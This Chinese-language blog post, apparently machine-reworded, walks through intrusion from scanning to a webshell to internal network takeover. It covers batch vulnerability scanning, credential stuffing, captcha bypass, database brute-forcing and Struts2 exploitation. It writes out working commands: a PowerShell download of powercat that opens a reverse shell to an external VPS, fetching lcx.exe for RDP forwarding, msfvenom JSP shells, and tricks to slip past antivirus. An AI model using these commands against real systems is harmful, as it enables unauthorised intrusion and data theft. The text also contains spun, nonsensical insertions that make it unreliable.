作为功击方,这儿就简单总结一下近来钻洞的思路吧。由于可能怕涉及到敏感的东西,这儿就有的地方不会细说了。由于本人比较菜,所以只能做一点比较基础的总结,大鳄们请忽视吧...
渗透的大体过程
整个渗透测试的流程就是通过信息收,集到内网的web漏洞挖掘,来获取一个webshell,通过这个shell进一步利拿来打进外网,进行外网渗透、域渗透,最终获取域控权限的一个过程。
从内网挖掘漏洞的一些技巧
常见的渗透思路这儿就不介绍了,也比较常见,这儿主要想纪录一下自己在测试中用到的技巧。
领到相应的资产,解析完ip段或则网址以后,直接上小型扫描器!直接上小型扫描器!直接上小型扫描器!对你没有听错。
须要检查web漏洞的话,须要对相应的IP进行端口扫描,端口扫描的话用御剑高速端口扫描工具这个工具,疗效十分棒!把扫描的速率越下调结果才会越精确。
扫描完成以后可以导入相应的扫描结果,得到相应的IP结果以后,再丢进AWVS直接使用脚本批量扫描,或则批量弱口令爆破就行了。其实套路就是须要注意批量!批量!批量!就行了。
这是先前批量扫了三天的结果,还是很可观,还是混了不少洞的啊哈哈哈哈。不过是否属于资产范围内的就须要自己验证了。
从内网掀开口子的常见操作框架、中间件漏洞
最常见的就是Struts2、weblogic等已有的RCE漏洞。
检查的方式就是使用现有的工具进行批量扫描,也可以自己写一个脚本进行指纹侦测以后再检查漏洞。或则丢进Nessus或则AWVS中通常都可以自己测量下来。
工具的话网上也比较多了,推荐使用.net写的小工具,网路分包速率快,也很稳定。
检查S2漏洞的话推荐使用Struts2漏洞检测工具2018版这个工具,可以批量!贼爽!
撞库漏洞
主要是针对于一些职工系统和登陆系统、信息查询系统、OA系统进行撞库,在没有验证码的登入系统中屡试不爽。
测试方式
无验证码的情况
首先这种系统通常外部只有一个登陆框,先查看有无验证码,没有验证码直接导出中国常见用户名子典,密码为弱口令字典(或则直接就设置成123456)。
或则密码可以改成用户名+数字的方式,比如用户名是zhangsan,可以尝试每位用户对应的密码字典为zhangsan12、zhangsan123这种类型。
若是邮箱登陆,则须要先搜集一下系统的邮箱后缀,常见的搜集技巧有googlehack、专门搜集目标站邮箱的查询网址。
领到了后缀以后,使用用户拼音+邮箱后缀的形式进行爆破。注意这儿有两种方法。
1.用户名规则使用用户全拼音。诸如。
2.用户名规则使用姓的简拼+名的简写。比如,。
总的来说,第二种方法比较常见,也可以两种都试试。
有验证码的情况
这儿就说下有验证码,并且验证码可以绕开的情况。
如下边的情况,直接把cookie删掉以后就不会验证randcode的值了,可能这代码写的也比较雷人吧
弱口令漏洞网段数据库爆破
web登陆系统的弱口令爆破就不说了,有一种思路是直接对网段的IP地址的数据库弱口令爆破,个人觉得还是比较爽的。
由于资产给的有时侯是整几个网关,所以爆破的话就能成功的机率也是挺大的。
这儿推荐使用超级弱口令检测工具这个工具,在github上也可以找到。勾选上所有的数据库的选项,把用户名和密码字典导出,勾选上扫描端口。
运气好的话还是可以出结果的。
外网数据库爆破
这儿推荐使用F-Scrack和DBScanner工具,在github里面都有,步入外网以后弱口令比较多,扫描爆破的疗效还是不错的。
从webshell到外网从sql注入到外网渗透
直接举例。
领到一个mssql注入,而且可以开启xp_cmdshell设置执行任意命令的情况下(--os-shell)。假如注入是属于回显、报错注入的话,直接执行命令就没有太大的限制,倘若是延时注入的话,要等很长时间才会回显,这就比较难受了。
举个反例,像下边这些注入的话就是属于无页面回显,只能靠时间盲注能够出数据,按照时间盲注是一个字符一个字符的出数据,速率都会慢好多,并且有时侯还不稳定。
解决方式:
在sqlmap下获取xp_cmdshell以后linux下载工具,直接执行:
powershell IEX (New-Object System.Net.Webclient).DownloadString
('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');
powercat -c 123.207.xx.xx -p 9999 -e cmd
在vps上窃听一个9999端口,等着弹回shell(system32下的cmd)就行了。之后领到shell以后继续使用powershell下载远程木马或则端口到机炮上就行了。
powershell下载远程文件命令:
下载lcx到本地进行3389端口转发
powershell "$c=new-Object "System.Net.WebClient";$c.DownloadFile("
http://123.207.xx.xx:81/static/lcx.exe","C:/Users/Administrator/Desktop/lcx.exe");";
第二个参数填入保存到的路径即可和保存的文件名即可。
若网段跳板机是linux的话,可以使用linux版本的lcx,也就是portmap
用法:
./portmap -m 2 -p1 7777 -h2 211.141.xx.xx -p2 9999
这儿的h2是远程服务的ip地址。
从S2-045到外网渗透
检查S2的方式就不说了,直接工具一把梭。这儿推荐使用"Struts2漏洞检测工具2018版"这个工具,可以批量导出urllinux多线程编程,效率还是可以的。并且能不能出洞主要还是看运气看人品哈哈哈。
简单测量S2漏洞的方式:看Uri的后缀是否为.do或则.action,是的话直接丢进去工具验证。
获取S2以后的操作步骤
1.第一个方式就是前面说的,有powershell的话直接一把梭getshell。或则可以配合Empire生成一个powershell的payload直接运行。并且这些技巧有时侯由于种种缘由会不太稳定。
2.第二种方式可以用前面那种工具进行文件上传传小马起来,接着用小马顾客端传大马就行了,这是常规套路。
Q:领到大马以后要干啥?
A:其实要进一步渗透了,外网渗透、域渗透。
Q:并且具体如何做?
A:先ipconfig瞧瞧是不是外网IP,倘若是的话就传个msf马起来进一步操作,或则用lcx或则ew把3389转发到网段。
Q:并且要如何传呢?直接使用大马的上传功能吗?
A:不行。由于jsp的上传只支持可见字符字节码的上传,二补码数据没办法直接上传。
Q:那该怎么操作?
A:我这儿是用Base64编码的方法,先把exe文件整个编码,然后构造一个jsp的上传点,在上传完成以后在网站目录下解码即可,解码以后就释放到网站目录下了。
参考:
在实战环境下遇见的几乎都是jsp的站点linux 扫描局域网ip,php的站十分少,所以须要平常多积累多练习一下对jsp站点的渗透
从文件上传getshell到外网
测试过程碰到一个比较雷人的文件上传漏洞,发生在后台用户头像上传处,可以抓包直接更改上传的文件后缀为jsp文件,就可以直接进行上传,无任何验证,且上传完成后就会返回给你整个马子的路径。
可以直接上传木马的话,就可以直接上大马或则用msf直接生成一个jsp马(msfvenom)。
java/jsp_shell_bind_tcp // 用于本地没有外网 IP 或者远程的靶机无法外连的情况
java/jsp_shell_reverse_tcp // 用于本地有公网 IP 的情况
将生成的payload直接通过文件上传起来,接着领到路径直接访问即可,在msf里可以升级到meterpreter以后就可以为所欲为了。
可能会碰到的一些问题
1.领到shell以后linux 扫描局域网ip,发觉有360主动防御和360杀毒?
可以试试命令:logoff1或则logoff2,会有意想不到的疗效~
2.领到shell,将3389端口转发下来以后,尝试联接发觉出现问题,恐怕是限制了我那边的IP访问。
解决方式:添加注册表AllowEncryptionOracle项即可。
参考:
一条命令直接解决(须要在system32目录下的cmd中执行):
REG add HKLMSoftwareMicrosoftWindowsCurrentVersion
PoliciesSystemCredSSPParameters /v AllowEncryptionOracle /t REG_DWORD /d 2 /f
2.将msf代理进外网
直接使用命令:
proxychains msfconsole
或则在setpayload以后,执行:
set proxies socks5:192.168.0.1:1080
3.领到一个shell以后区分是否是内/内网IP
如右图的情况就说明他只有外网IP,没有网段IP,也就是这个机子是用网线接在路由器/交换机上的。我们能访问到他的80端口的服务是由于在交换机/路由器上做了端口映射。
在网路映射中是这样表示的:
所以这时侯你通常就没有办法直接联接到他的3389端口,由于他在外网里所以就只能使用端口转发了。
假如存在内网IP的话显示的就是内网IP。有时侯也会碰到既有网段IP也有外网IP的情况下。